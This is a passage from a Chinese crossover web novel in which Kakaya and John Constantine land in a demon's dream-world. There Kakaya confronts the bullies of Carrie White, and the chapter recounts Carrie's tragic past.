他眼中的死孩子特别苍白,看起来不仅和演唱会无缘,更适合出现在天桥下,在地上放个帽子就能卖唱。
“反正,我能能说的就这么多了!”
康斯坦丁怒容道,然后转身离开。
他为自己的无力生气,但如他之前反复强调的,他不是那种“保姆男妈妈”类型,更管不了这种疯疯癫癫的死小孩。
何况他还在逃命,初堕者可不是那种“把他送进地狱就算了”的心胸开阔的敌人。
主动和这死小孩分别了,说不定她还更安全些。
他走了一段路,转头一看,那死小孩仍坐在摩托上,呆滞的,一动不动的,也不试着挽留他。
‘天呐,她被地狱的低温冻成痴傻小鬼了……’康斯坦丁悲愤的想,‘真是太麻烦了。’
所以,他讨厌小孩,更讨厌现在隐隐作痛的良心。
仔细思考,的确,他做不了什么,但或许他可以为这孩子找到一把小梳子。
过去当流浪汉的经验告诉他,有时候,一点点善意都可以让绝望的人想要活下去。
……
正当康斯坦丁在一旁小动作一堆、天人交加时,卡喀亚正等着寰宇系统评估这座中枢城市的价值。
她早就不管在身后叽叽歪歪的黄毛男,而是抓紧时间,和系统进行了很有效的沟通,和对未来事业的规划。
在她的设计中,这座中枢城市将是她创业的第一个据点,她的第一层办公楼。
未来,她会打通地狱九层,让它成为一体式,成为一座正儿八经的公司。
每一层的管理者就是她选中的“部门经理”。
为了这个目标,她需要干掉每一层的恶魔统治者,占据每一层的中枢城市,决定每一层的部门项目。
而寰宇系统目前能够提供的帮助,就是帮她把这座城市“变成她的”。
第一,寰宇系统会评估整座城市的价值。
第二,不管这座城市之前属于谁,寰宇系统都可以入侵“地狱管理系统”,并产生新的“地狱契约”,在旧契约上覆盖新合同,把这座城市的“管理者名字”更改为“卡喀亚”。
但相对的,卡喀亚要自行对付更改契约时触发的“恶魔城看守”。
第三,上述行为产生的所有风险都将由卡喀亚自行承担。
……看着很复杂吗?
看不懂无所谓,因为这本来就不是什么可以在现实中模仿实践的事。
这篇文的主角都在地狱里了。
而且,接下来,卡喀亚会亲身经历一遍寰宇系统的“购买”流程。
当摩托停下来时,她就一心等着寰宇系统对这座复杂的建筑“评估”完毕,完全没有理会康斯坦丁在叽里咕噜的干什么。
康斯坦丁离开去找梳子后,她落了单。<
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一个恶魔盯上了她。
这恶魔有一头黑发,戴着头戴式耳机和一副墨镜,穿着蛇皮靴,既没长犄角,也没长翅膀。
耳机里播放着音乐,他的蛇芯一样的舌头吐出来,随着音乐做出各种古怪的扭动,发出嘶嘶的声音。
“好呀你。”恶魔踏着舞步向她走进,轻快的说。
“你好呀,”卡喀亚回答,“你是这座城市的管理者吗?”
“显然不是,”恶魔耸肩,“我只是个HR,负责给新进地狱、并且有能力找到这里的罪人提供一份工作。你喜欢皇后乐队吗?”
“没听过。”
“我的撒旦啊,亏我还以为你生前是搞摇滚的。来听听吧。”
卡喀亚很好奇,好像每个见她第一面的人都把她当做“搞摇滚的”。
她明明想当个商人,财阀,终产者。
恶魔把耳机调成了外放。
顷刻间,他们之间响起了一曲《Somebody to love》。
卡喀亚也跟着音乐摇晃起身体,完全出于被音乐控制。
音乐,真惊人。
“好听吧?”恶魔很自豪,“你可以为我工作。城里只有两种工作,一种是在电话中心当客服,向人们推销地狱,另一种……有点少儿不宜。但跟着我,我不会逼你做什么复杂的事,我自有一套拉人们下地狱的办法。”
“你会怎么做?”卡喀亚问。
“很简单,每天在一个随机的时间里干扰人类的WIFI信号四十分钟。”
恶魔摘下墨镜,露出一双蛇一样的眼睛,邪恶的眨了眨,“人类就会怒火冲天,成千上万的灵魂都会因此蒙尘。”
卡喀亚摇摇头,“我不想工作,只想当老板。”
“啊呦,真有志气……”
恶魔看起来还想说什么,康斯坦丁忽然在他和卡喀亚中间冒出来,怒气冲冲的挥手大喊:“你!恶魔!离她远点!她,我罩的,懂?”
“当然啦,康斯坦丁,”这恶魔露出坏笑,“我听说初堕者到处找你,扬言要撕碎你的灵魂,他已经在城里了。”
康斯坦丁缩了缩肩膀,不安的四处张望着,好像会有哪个恶魔看到他,当场跑去告密。
恶魔笑了,隔着人类的肩膀,他向卡喀亚伸出两根夹着一张名片的手指,愉快的说:“我是克鲁利,地狱公爵之一,期待你当上老板的那天。”
康斯坦丁对他怒目而视,但默许了卡喀亚接过名片。
克鲁利离开后,康斯坦丁才转身,对卡喀亚进行现场教育,“你不能搭理这些恶魔,他们诡计多端,他们……”
他的声音卡住了。
有人从身后掐住了他的脖子,将他整个人都提了起来。
康斯坦丁用力侧着脑袋,余光勉强认出来人,“初……堕者……”
“找了你好久,准备死了吗?约翰。”初堕者笑眯眯的,像是要折磨死老鼠的猫,一点也不急。
同时,寰宇系统在卡喀亚的大脑里愉快的通知:“‘恶魔城看守清除行动’开始,家人们,准备好,3,2,1,上链接——”
卡喀亚周身产生了一股扭曲的力场。
她抓住康斯坦丁的手。
初堕者爆发出一声怒吼,因为他掌中的康斯坦丁又消失了。
5. 005
一夜的狂欢,凌晨,连最后一个精力最旺盛的人也摇摇晃晃的离开了酒吧。
路西法又是孤身一个了。
尽管他整晚也和其他人一样喝酒、谈笑、打牌、唱歌,但他的神色丝毫不见疲态或醉意。
他坐在椅子上,神色平静的把玩着一枚硬币。
直到一个穿着黑色西装的男人凭空出现在他的座位旁,“路西法,你应该回到地狱。”
路西法抬了抬眼皮,“不。”
西装男的关注点和康斯坦丁不同,“你有没有想过,你离开之后,天堂会发生什么?父亲会怎么说?”
“我不在乎。”
“你离开后,我巡视了九层地狱,”男人继续说,“走过了罪恶之囊,烈火沙地,狄斯城,七大环……极少数敏锐的恶魔已经感知到风吹草动,我提醒你,现在回去,一切还来得及。”
路西法这才露出厌倦的神色,站起身,向酒吧外走去。
男人紧紧的跟上,与他只隔着一步的距离,“如果有人取代你成为地狱主宰,你没有意见吗?”
路西法嗤笑,显然不以为然。
在他即将走出大门时,男人拦在他面前,“我是认真的。”
“阿曼纳迪尔,”路西法直呼他的名字,“或许你没有喝酒,但你醉的不轻。”
地狱之主轻蔑的说:“我不在乎谁想夺走地狱,我不要它了,但是有谁能这么做呢?谁能做到?我在地狱每一层都安排了几个大恶魔作为看守——真希望我曾经没这么敬业——它们会尽职的绞死每一个试图兴风作浪的东西。”
阿曼纳迪尔看着路西法,清楚的认识到:也许他的弟弟已经在地狱里做了几千年的君主,但这份傲慢仍是一如既往。
“走吧,”路西法冷笑,“继续巡视我的土地,你会发现每一个罪人、每一个恶魔依然战栗臣服于我的名字:路西法·晨星。”
酒吧外的天空飘着小雨。
回想着地狱公爵克鲁利提过的“一些有趣的小事”,阿曼纳迪尔本想将之转告给路西法。
现在,看着路西法固执的样子,他也不想再多说。
他决定持续关注“这件小事”,必要的时候他会出手解决,用事实和路西法说话,对方自然会明白的。
他后退着走入雨中,在车流中舒展开背后的翅膀。
灰白色的、大的夸张的双翼,洒下无比辉煌的光芒,几乎罩住了半条街道。
人流却来来往往,对此视而不见——他们无缘也无力看见。
阿曼纳迪尔消失在空气中。
“爱卖弄的家伙,”路西法对着小雨嘀嘀咕咕,“分明我的翅膀更好看。”
……
卡喀亚和康斯坦丁一起出现在半空中,向下方的草坪落去。
不同的是,卡喀亚及时调整身体,平稳落地,没有像她的同伴一样摔得四仰八叉。
她站在草坪上,打量着四周。
这里很安宁,蓝天白云,青青草地,整齐分布在马路两边的家庭住宅,一群小孩骑着自行车笑闹着经过。
她们的前方是一堵长满蔷薇花的篱笆墙,背后是一栋小房子。
最可疑的就是她们刚才还在地狱,现在却像是回到了原始社会。
“这是什么地方?”她问。
康斯坦丁正骂骂咧咧的拍着风衣,随意回答:“应该是座小镇。”
“小镇……”
卡喀亚重复,没想到世界上还有这么宁静的地方。
她在赛博世界长大,那里,高楼大厦挡住了天空,灰蒙蒙的空气倒是挺像地狱,分布的像迷宫一样的立交桥,亮瞎眼的虚拟广告牌和播报声无处不在。
她已经习惯了繁杂的光污染,猛地来到这样的“小镇”,像是掉进了简笔画的世界里,感受和生活在二十一世纪的现代人突然穿越回古代没区别。
康斯坦丁皱着眉说:“我们一定是被拉进‘诡域’里了。”
“诡域?”
“‘诡域’是大恶魔的精神世界,在诡域里,它们的力量会变得无比强大,换言之,这是它们主宰的地盘,它们把人拉进诡域,就是为了让人类产生恐惧,玩弄人类,它们可以随意修改诡域里的一切。”康斯坦丁解释。
卡喀亚的脑子里也响起系统愉快的通知,“家人们,我们对‘地狱管理中心’的入侵触发了看守恶魔,请在它杀死你之前消灭它。”
“有多少恶魔?怎么消灭它?”
“这需要你自行探索呢。”
而康斯坦丁在一旁说:“恶魔肯定会来找我们,它们没有多少耐心。只是……”
“只是?”
他坐在草坪上,挠了挠头发,犹豫片刻,宣布道:“我没有解决它们的能力,我的魔法在地狱里发挥不出来,把蝙蝠摩托拉过来更是耗光了我的魔法沙,明白吗?我现在不比一个普通人更有用。”
“可我从来没说过要指望你呀。”卡喀亚点明。
“哈哈,是的,你别想……等等?什么?”
“我从来没说过要……”
“你疯了吗?死孩子!哦,对了,你一定不知道我吧?我是康斯坦丁!世上最强的大魔法师!你对诡域一无所知,你需要我的帮助!”
“我是卡喀亚,我不需要任何人帮助。”
“你在故意气我吗?”康斯坦丁有心展露一手,“告诉你,哪怕我没有使用魔法,也能看出你的来历。”
这算是康斯坦丁与生俱来的一种能力:
只要他想,他可以看到其他人的“身世”,看到任何人道貌岸然的外表下隐藏的“所有内幕”。
很大程度上,这种“看透本质”的能力也是他愤世嫉俗的原因之一。
他盯着卡喀亚,动用了这个天赋。
接着,连续不断的画面出现在他的脑海里:
“一座下着雪的城堡”,“一双毛茸茸的白色翅膀”,“一把咔咔作响的剪刀”,“一个小婴儿的欢笑声”……
他的神色从气恼到迷茫,从迷茫到困惑。
“我的来历?”卡喀亚问。
“你的家长是一只禽类和一把剪刀……”康斯坦丁无法理解自己看到的。
神金。
卡喀亚扭身就走,留下康斯坦丁在原地百思不得的咬指甲。
一辆校车从马路的另一端驶来,停在篱笆墙外面。
一个女孩背着书包从隔壁房子里冲出来,披头散发的跑向校车。
“那边的女孩,你也该上车了,”司机探出车窗,向卡喀亚喊道,“再磨磨蹭蹭的,迟到可不怪我。”
这肯定是恶魔的陷阱,但,也是一条线索。
卡喀亚走出篱笆门,登上校车,康斯坦丁也追过来。
“家长别上车。”司机不耐烦的说。
“我怎么能不上车呢?”康斯坦丁的身份转变非常之快,理直气壮的扮演一个“担忧的家长”,“我的女儿是个瞎子,弱小可怜又无助,我怎么能放她一个人上学?”
司机看了“他的女儿”一眼,语气缓和道:“我明白你的担忧,但巴克街文法学校是一所好学校,你的女儿会没事的。”
康斯坦丁拿出口袋里的小梳子,恳求道:“至少让我给她梳梳头吧?早上太忙,我没顾上打扮她。”
司机不耐烦的缩回脑袋,算是默许了。
卡喀亚一脚踩在车阶上,另一脚踩在地面上,保持这个站姿,被康斯坦丁梳头发。
“我会在外面
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找些有用的东西,”康斯坦丁低声说,“不管你信不信,在这鬼地方,我们也需要钱维持生活。你在学校也要当心,学着融入集体,别被霸凌了,被高年级学生霸凌和被初堕者盯上一样讨厌……”
“什么是霸凌?”
“就是一群人暴力一个人…你没上过学是不是?”
一群人暴力一个人?
这不是荒坂日常训练?
卡喀亚:问号脸.jpg
康斯坦丁完全不知道怎么给女孩梳头,只能简单的把她金发里打结和凌乱的部分理顺。
梳完头,卡喀亚走进车里,车门立刻关闭,司机一踩油门,载着一车的学生向前驶去。
校车上的学生们乱哄哄的吵闹着。
闷热气、汗味、球鞋味、呕吐味和劣质化妆品味混在一起,形成一股无法避开的难闻的味道,开着车窗也无济于事。
那个匆忙上车的女孩缩在前排靠近司机的座位上,眼不眨的看着窗外,紧张又僵硬。
她的身边就有一个空位,但卡喀亚径直走了过去,走向后排。
所有的影视作品中,校车的后排都是学校高年级校霸们的位置,他们盘踞在这里,和前排的小弱鸡们泾渭分明。
根据在荒坂训练营的生存经验,卡喀亚很清楚,如果想顺利的融入集体,就不能和弱鸡抱团。
就像进监狱里,要做的第一件事一定是把监狱里最强的那个打一顿一样。
攻击就是最强的防御。
而这里最强的——
“滚开,你来这干什么?”一个美貌的女孩呵斥着。
不是她。
“克丽丝,放过她吧,她是可怜的新生,不懂规矩。”搂着她的男孩咯咯笑着。
不是他。
……
挑挑拣拣的,她一直走到最后排的一个男生面前。
他人高马大,一条长腿横放着占据了最后一排的三个座位,周围和他说笑起哄的学生们对此都没有不满。
看来就是他。
卡喀亚抓住他的裤管,把他的腿扒拉下来,“如果你不坐,就该把位置留给有需要的人。”
男学生猝不及防,坐正身体,惊讶又恼怒的看着她,“什么?你怎么敢——”
“闭嘴,否则我就把你塞到座位下面。”卡喀亚厉声说,“我要坐在窗边。”
男学生打量她,露出嘲弄的笑容,“凭什么?因为你是个瞎子?”
“因为我需要新鲜空气,这车厢和你一样臭。”卡喀亚说。
她感受到背后的目光,有人,是前排的那个女孩,和其他人一样惊讶的看过来。
男学生逐渐涨红了脸,冷不丁伸手朝她抓来,卡喀亚用一只手抓住他的胳膊,顺势将他掼到地上,正如她刚才承诺的,利落的将他塞进了后排座位下面。
全过程只用了一眨眼的功夫。
车厢里顿时鸦雀无声,只有在座位下面的男生仍发出难以置信的诅咒声。
卡喀亚若无其事的坐到了窗户边,立刻明白校霸们为什么都喜欢后排
——这里的空气确实比前面新鲜。
只是座位底下的男生很吵。
卡喀亚不明白他在吵什么,她既没有拉断他的胳膊,也没有剁掉他的小拇指,如果非要计较的话,他分明应该对她以标准的九十度鞠躬,并大喊“谢谢”。
还在吵。
还是很吵……
卡喀亚甩起腿脚,脚后跟向座位下一撞。
世界终于清净了。
太弱了。她托着下巴,看向窗外的风景。
无论她如何漫无边际的感受,都觉得这是一车厢的弱鸡。
这里真的藏着地狱恶魔吗?
6. 006
“接下来是我的表演时间了。”
校车离开后,康斯坦丁脸上忧心忡忡的表情消失了。
虽然嘴上让卡喀亚不要指望他,但他仍是那个“地狱神探”,他相信,只有自己才能找到从诡域里活着出去的办法。
他会把那个死孩子带出去的,走着瞧吧。
首先,他的第一个目标就是身后的房子。
他用篱笆上拆下来的一截铁丝撬开了房门。
房子内部并不整洁,各种生活用品塞满了架子,这家的主人一定是个不擅长打扫和收纳的人。
一楼是客厅,厨房和卫生间,他逐一检查,除了一些长相诡异的玩偶,没有任何发现。
客厅的电视桌上放着相片框,里面是一张合影,应该就是这个家的主人。
康斯坦丁拿起镜框,仔细观察,照片上是一个女人搂着两个小女孩,小女孩们的眼睛和鼻子很像女人。
三个人应该是母女关系。
她们都在笑,这是一张很开心的照片,但康斯坦丁不是一般人,他能看到大人的脸上笼罩着淡淡的黑色死气,小女孩们的精神状态也不太对。
大女儿的眼睛里有些木讷,小女儿眼神闪躲,而母亲的黑眼圈不比卡喀亚的浅。
“希望你们之间的关系不是母亲虐待孩子的戏码…”康斯坦丁喃喃的说。
那样会很心烦,他一直讨厌煞笔型家长。
他走上二楼,二楼的布局是卧室,浴室和书房。
他打开卧室的门,卧室的窗户正对着房子后院的一棵树,树上好似有什么在扭动。
他快步走到窗边,看清楚了,这棵树上爬满了蜈蚣和苍蝇。
树下有个小池塘,水里起起伏伏的飘着两具尸体,从体积看,应该是两个孩子。
如果是警察,一定会有“不能破坏案发现场”的顾虑,但康斯坦丁不是警察,诡域里也没有法律,他跑到池塘边,一股腐臭味直冲天灵盖。
“该死的…”他踉跄着后退一步。
最讨厌的情况,在所有的案发现场里,他最不喜欢看见的就是孩子的尸体。
一阵阴风刮过,后院的门“啪”的一声关上了。
……
有件事康斯坦丁没有说错,卡喀亚确实没上过学。
不过,这不妨碍她很快发现,在学校里和在荒坂特工训练营差不多。
都是“闭嘴,禁止提问,老师讲话时要仔细听,现在是上课时间,不准乱动,不要随便和其他人讲话……”
不同的是,尽管训练营的教官更凶,但卡喀亚至少能学到实用又有趣的技能,比如“黑客技术”,“配置毒药”,“快速致命”……
在学校里,她就只能忍受着和一堆人坐在一起,学一些“朗读课文”,“赏析作文”,“数学课”……之类没用的东西。
她短暂的期待了一下“化学课”,结果发现化学老师只是教一些异常简单的化学实验,学生们也不被允许自己上手操作。
她试图自己做个普通的化学实验,很快被老师呵斥着禁止。
她又短暂的期待了一下“体育课”,结果发现体育课就是一个班的学生分成男女四组,男生组和男生组、女生组和女生组玩抛球和接球。
——实在是让她产生一种“我到底在期待什么?”的无力感。
比起浪费时间的课程,同样让她迷惑不解的还有班上的学生们。
他们似乎共同沉迷于一项活动,就是挑衅那个在她之前上校车的女生。
从卡喀亚走进教室开始,那个女生的课桌便和其他人不同,上面画满了涂鸦,写着“嘉丽·怀特吃屎”等等文字。
女生习以为常的把书包放在椅子上,对这些文字擦都不擦。
接下来,卡喀亚发现更多其他人对于“嘉丽·怀特”的针对:
课间休息时,有个男生假装手滑,把花生酱倒在嘉丽的头发上,然后一群人像商量好一样,哄笑着拍桌子。
在嘉丽去上厕所的时候,有人在走廊上伸出腿绊倒她,另一个人假装扶她,其实在她的肩膀上掐了一把。
老师检查作业时,从嘉丽的作业里掉出一张“涩情照片”——虽然在卡喀亚看来,这张图不过是一个光着上身的男人,即便放进‘精神恋爱社交平台’上当用户头像,也属于是最朴素的那种——老师尖叫着训斥嘉丽,好像这辈子都没看过不穿衣服的男人。
如果这个看上去起码四十岁的成年老师,真的从没看过不穿衣服的男人,卡喀亚也确实不知道该怎么说。
假如她是嘉丽·怀特,只会劝告老师,“要不然去网上多刷刷男模吧,老师?看多了就不会对这种质量的发出尖叫了。”
哦,还有,这所学校没有互联网课。
卡喀亚不明白这学校有什么存在的意义,一所没有互联网的学校——在赛博世界,连最后一个抗拒科技的‘阿米什人’都不敢把家里的孩子往这里送。
现在,是体育课。
没等卡喀亚说话,老师自动免掉了她的“上课”,让她坐在场外的树下看着。
卡喀亚本来对这个活动也毫无参与兴趣,正好顺水推舟。
同样的戏码依然在持续,女孩们把球打到嘉丽的脑袋上,又嘲笑她既接不住球又总是撞到网,笨手笨脚的样子像只矮胖青蛙。
卡喀亚忍不住打了个哈欠。
真的,这学校已经让她困惑的有些想睡了。
在训练营里,她也被全员针对过,那些学员们把毒虫放进她的装备里,或者买通夜巡教官,深夜拿着刀枪偷袭她。
但她知道这是有原因的,原因就是她的成绩太优异了,其他学员既然无法在训练和考核上超过她,为了前途和性命,就只能在旁门左道上狠下功夫。
可嘉丽·怀特?
目前为止,她身上没有表现出任何导致被其他人针对的价值。
她好像也不是在扮猪吃老虎。
所以,这到底是在干什么?
卡喀亚有些气闷:
她找错地方了,一定是,这学校只是恶魔的障眼法,骗她在这里浪费时间。
体育课结束后,学生们在体育老师的带领下去洗澡。
虽然卡喀亚没有活动,但她之前在严寒地狱里呆了很久,此刻,她很愿意和热水贴贴。
她喜欢热水泡澡,在训练营里,最优秀的学员才有资格获得“每月泡次温泉”的奖励,那是她难得的乐趣。
即便卡喀亚在更衣室里用一只手脱掉衣服,也没人敢过来问她需不需要帮助,这些学生很难忘记在校车上发生的事。
她们抿着嘴,互相使着眼色,小心翼翼的避开卡喀亚选中的淋浴隔间,挤到其它的淋浴间里。
这导致嘉丽又一次被排挤,淋浴间数量有限,其她人又不愿让着她,她只能走进卡喀亚旁边的淋浴间。
卡喀亚拧开水龙头,立刻感到失望:水不够热。
这件小事是她决心离开这所学校的最后一根稻草。
她感到自己被耍了,不仅浪费时间寻找不存在的恶魔,而且还——
淋浴间外又爆发此起彼伏的尖叫声。
——还要看这些事,又怎么了?
卡喀亚忍无可忍的拧上水龙头,走出隔间。
“月——经!”
第一个尖叫的女孩,卡喀亚认出她是校车上的那个美貌女孩,今天大半天,都是她带头对嘉丽干蠢事。
这仿佛是一句口号,当嘉丽意识到自己的腿间在流血时,也一下子尖叫起来。
女孩们把她围起来,厌恶的、轻蔑的、惊骇的笑声从她们口中爆发了,越来越激烈。
她们从手包或墙上坏了的自动售卖机中拿出卫生棉条和卫生巾,兴奋的砸在嘉丽的身上,对她狂轰乱炸,大喊着:“月经!月经!”
嘉丽哭叫着,呼呼喘着气
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,挥着胳膊向后退,离身后的淋浴间越来越近。
卡喀亚抓住了她,“好了。”
她拖着嘉丽,穿过突然不敢出声的女孩们,一路走到领头的女孩面前。
这一路上,嘉丽都在抽泣,“我要死了——我要流血死了——”
“死不了!”卡喀亚说,“它每个月都会拜访你,早点习惯吧。”
接着,她提醒嘉丽,“看着她。”
“看谁?”嘉丽哭哭啼啼的,但是被转移了注意力。
“克莉丝。”卡喀亚扒开嘉丽的手说,她记得校车上的男生就是这么喊的,“看着克莉丝,凝视她。”
嘉丽迷茫的看向克莉丝。
她知道克莉丝。
克莉丝在学校里是最有人气的人物,而且最肆意妄为,连老师都不放在眼里,无论老师警告多少次,她永远把嘉丽当玩具。
克莉丝明显不乐意,但又不敢冒然顶撞卡喀亚,她漂亮的脸铁青着,看上去不那么好看了。
“我爸爸是律师,”她本能的保护自己,“不管你想干什么,当心点。”
“律师,”卡喀亚笑了,“是啊,我知道这个职业,那些荒坂养的公司狗,总是穿的人模人样,其实心虚的要死。”
她看向嘉丽,问:“是这样吗?你因为她爸爸是大企业养的狗,所以怕她?”
嘉丽含着泪,摇摇头。
她今天是第一次知道克莉丝的父亲是律师,就是说,虽然她之前知道克莉丝能在学校里横行霸道,但她从来没想过原因。
“所以为什么?”卡喀亚问,“你为什么让她这么对你?凝视她,好好看看,怎么回事?”
“她,她比我好看……?”嘉丽慢吞吞的说。
“真的?她比你好看?”卡喀亚追问,“那我比她好看吗?”
嘉丽迟疑了。
她不愿意说谎,但克莉丝四肢健全,皮肤洁白,是个健美的少女,而卡喀亚……卡喀亚没有眼睛。
光是这一点,以她的审美来说,她不觉得卡喀亚比克莉丝好看。
“但你看,我能对她做更可怕的事。”卡喀亚说,“又是怎么回事?你为什么不敢反抗她?在我面前,你们两有什么区别?”
“没有区别……”嘉丽小声说,懊恼起来,“我,我不怕她。”
“那就证明一下,”卡喀亚说,“证明你不怕她,叫她道歉,警告她再也不许对你干蠢事。”
克莉丝猛吸一口气,胸腔都大了一圈,厉声道:“蠢东西,你敢?”
“我敢,”嘉丽的心中涌出一股怒火,喊道,“再也不许这样对我!向我道歉!”
克莉丝难以置信的瞪大眼睛,随后,露出狂怒的表情,尖叫道:“我偏不!你们不敢打我!你们会被开除的!走着瞧吧,你们两个都是贱人!”
卡喀亚推了她一把,轻巧的像推一只风筝,这一下使得克莉丝向后倒,后背一下子磕在储物柜上,眼泪一下涌出来。
其她的女孩畏缩着,大气不敢出的盯着地板。
嘉丽有了底气,她逼近克莉丝,“道歉!”
克莉丝擦着眼泪,恶狠狠的说:“你们完蛋了,我要告诉我爸爸,他会让你们和你们的家人都变成流浪汉,尤其是你妈妈,那个愚蠢的老巫婆……”
“不许扯上我妈妈!”
嘉丽尖叫起来,浴室的灯泡、窗户、储物柜、水龙头……所有能受损的设备都爆炸了,天花板上溅满电火花,水从四面的墙壁内失控的喷出来。
顷刻间,克莉丝直接失去了意识,其她女孩吓得尖叫着,向外逃去。
卡喀亚精神一振,笑道:“哦,终于有点意思了。”
嘉丽转过头,朝她怒目而视。
卡喀亚根本无视对方的神情,愉快的说:“好吧,嘉丽,拿着这包卫生巾,其它的都被你泡水废了。介于这个是我给你的,所以现在你也欠我十亿美金。”
7. 007
嘉丽一直在思考自己到底害怕什么。
母亲从来没有对她提起过“月经”。
相反,母亲总说当女孩的身体出血后,她们就会变成女人。
而女人是有罪的,是软弱,邪恶,罪孽的灵魂。
女人的始祖夏娃是软弱的,她偷吃了伊甸园的苹果,把渡鸦释放到人间,渡鸦的名字就叫“罪”。
所以,夏娃被赶出了伊甸园。
母亲说,如果嘉丽一直无罪的话,血的诅咒就永远不会降临到她身上。
她每周都会带着嘉丽做礼拜,星期二,星期五和星期日,做三次。
她禁止嘉丽和其他同学一样穿着,嘉丽必须穿厚厚的衬衫、及膝长裙、衬裙、衬裤、吊袜带和长筒袜,一层又一层,直到把身体完全裹住,密不透风,夏天也不例外。
她把杂志上穿泳装晒太阳的女孩称为“妓、女”,告诉嘉丽只有罪人才会像那些封面女郎一样长乳、房。
只要她感到嘉丽有一点异议,她就会把嘉丽扔进壁柜里,壁柜里有一张可怕的画,描绘着“愤怒的上帝在惩罚罪人”的场景。
她会一直把嘉丽关在里面,没有食物也没有水,更不准上厕所,只有头顶一盏明晃晃的灯一直刺着眼睛,直到嘉丽忏悔罪过。
嘉丽觉得,她的母亲确实是尽力了。
但她还是流血了。
罪恶也来到她的身边,不仅如此,它还化身成一个小女孩:
“卡喀亚”,不就是“罪恶的拟人化身”吗?
她被蛊惑着推倒了克莉丝,现在,她要被赶出学校了,就像夏娃被赶出伊甸园一样。
“我们完蛋了…”嘉丽牙齿打颤,低声说,“彻底完了,德雅尔丹老师会把我们赶出去,莫顿校长会把我们开除……伊甸园的惨剧……”
“我不知道你在说谁。”卡喀亚歪着脑袋说,“不过,你先听。”
嘉丽听到远处传来爆炸声,那声音震的浴室都颤动起来,像是地震一样。
卡喀亚说:“看来他们不会来了,时间正好。”
嘉丽震惊道:“你干了什么?”
“我把学校炸了。”卡喀亚耸肩,“用化学课上的材料,你们老师不是不准我做普通实验吗?所以我做了一些特殊实验,别担心,我把时间算的很好,没人会受伤。不过他们没空管我们了,走吧。”
在发现学校里没有恶魔的线索后,卡喀亚就计划着搞一场骚乱,然后趁机离开。
至于嘉丽,纯粹是个意外收获。
卡喀亚一直判断嘉丽没有被人欺负的价值,没想到嘉丽居然能在不用炸、药的情况下把浴室炸的一塌糊涂。
卡喀亚很理解这种“扮猪吃老虎”的爽感,猪不猪的不重要,重要的是“吃老虎”的一瞬间。
先是假装自己一无是处,任人宰割,再突然露出自己的本事,吓人一跳。
只不过她没想到嘉丽能把“扮猪”的前摇搞的这么长,整整大半天啊!连卡喀亚都被她精湛的演技蒙蔽了!
莫非前摇越长,“掉马”的一瞬间越爽吗?
卡喀亚只觉得,嘉丽的生活肯定挺闲的。
既然她闲着也是闲着,不如来打工吧。
嘉丽昏头涨脑的跟着卡喀亚走出浴室,一眼看见校园里仍在不断爆、炸起火的教学楼。
“……”
真的炸了……
嘉丽呆呆的看着这映照半边天的火光和崩溃坍塌的教学楼。
她想起自己有一个梦想,从来没有对任何人提过。
在母亲说过的所有关于“上帝”和“圣经”的故事里,她最期盼“审判日”。
在她的想象中,审判日那天,耶稣不再带着小羊,而是会每只手上拿着巨石,砸死所有嘲笑捉弄她的家伙,彻底铲除邪恶,让她们在尖叫中灭亡
——一个可怕的,血腥的,但充满正义感的耶稣。
她将会成为耶稣的剑和臂膀,抹除世上所有的瘟疫圈。
嘉丽鼻子一酸,眼睛里涌出泪水。她想起来了。
一切都已是她生前的经历:
那是她十七岁第一次来月经那天,因为不明白发生了什么,她在浴室里被女孩们嘲笑奚落。
回到家,她的母亲骂她是罪人,打骂着把她关进壁柜里,强迫她忏悔。
不久后,同学和老师因为奚落她感到愧疚,鼓励她参加舞会,那天,她真以为自己被接纳了。
但她在舞会上被浇了一大桶猪血,所有的梦都是幻想,所有的幻想都会破碎。
于是,她杀了所有令她痛苦的人,烧了所有禁锢她的地方,抱着母亲同归于尽,并将她们的家一并付之一炬。
在米诺斯的审判里,她犯了杀戮罪、纵火罪,以及罪中之罪:手刃血亲。
她被打入地狱,第九层。
她生前已品尝过复仇的甜美滋味,并为复仇而死,可为什么她依旧走不出这一天?
即便已经落入地狱最深处,这一天依旧形成梦魇,反反复复,将她困在其中。
嘉丽一直在思考,她到底在害怕什么?
是害怕她的行为验证了母亲的观点“女人天性有罪”吗?
是害怕面对被她杀死的老师和同学吗?
是害怕地狱的寒冷和折磨吗?
……
其实都不是吧。
“叮铃…”
一声铃声惊醒了嘉丽,她转过头,看见卡喀亚骑着从校门口找到的一辆自行车,拨弄着铃铛,车铃发出清脆的“叮铃”声。
“别发呆,嘉丽,上来,该出发了,”卡喀亚说,“某人说过,时间可是最宝贵的财富。”
嘉丽向前走了。
她坐到自行车的后座上,感到车的后半段明显向下一沉,而车头几乎向上翘了一下。
“我比你重,比你大,”她忍不住说,“应该我来骑车载着你。”
“别傻了,我才是掌管车头方向的人。”卡喀亚漫不经心的说。
校园里仍然在爆、炸,浓烟升腾,火焰熊熊,已经分不清到底是卡喀亚做了太多的炸、药,还是嘉丽的意识操纵在起作用。
嘉丽又说:“好疼。”
“你痛经啊?”
“嗯。”
“经痛,哭也没用。”
“你管我?我就哭。”
嘉丽啪嗒啪嗒的掉眼泪,卡喀亚蹬起自行车。
车子平滑的前行一阵,遇到下坡,立刻像长了翅膀一样滑下去。
……
康斯坦丁奔波了大半天。
他去了隔壁的房子——嘉丽的房子——想打听情况,却被里面可怕的老太婆喊着“上帝啊圣经啊罪恶啊”之类的追打。
康斯坦丁反唇相讥,“我跟上帝和天使打交道的时候,你还不知道在哪呢!”
“驱魔圣水!”老太婆恶狠狠的尖叫,泼了他一身水,又嚷了一些诸如“自父及子七世仍会被惩罚”之类的信徒鬼话。
康斯坦丁到底没有和一个老太太一般见识。
他又去了街上,从流浪汉
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嘴里套了一些线索,又连哄带骗的从警局里套了一些线索。
直至重回那栋房子,他已精疲力尽,只想躺在沙发上伸直双腿,看着电视,喝着冰啤酒,舒舒服服的抽一支烟。
抱着这样的期待,他打开门,看见客厅里的灯亮着,卡喀亚回来了,正在半开放式的厨房里熬一锅冒烟的东西。
“你在干什么?”康斯坦丁问。
“熬肉汤。”卡喀亚说,“嘉丽来月经了,我们要举办一个‘女生派对’。”
“呃……”,康斯坦丁清了清嗓子,一时间感到无比窒息。
他的大脑艰难的转动着,吸收这句话里的两个词。
因为,真的,他男人的脑子里很难接受有女孩对他说出这么直白的词汇。
嘉丽趴在长沙发上,脸向下埋在枕头里,发出一声含糊的嚎叫,好像是让卡喀亚闭嘴。
“得了吧,”卡喀亚嗤之以鼻,“他肯定知道这是怎么回事,难道说他一把年纪还没交过女朋友吗?”
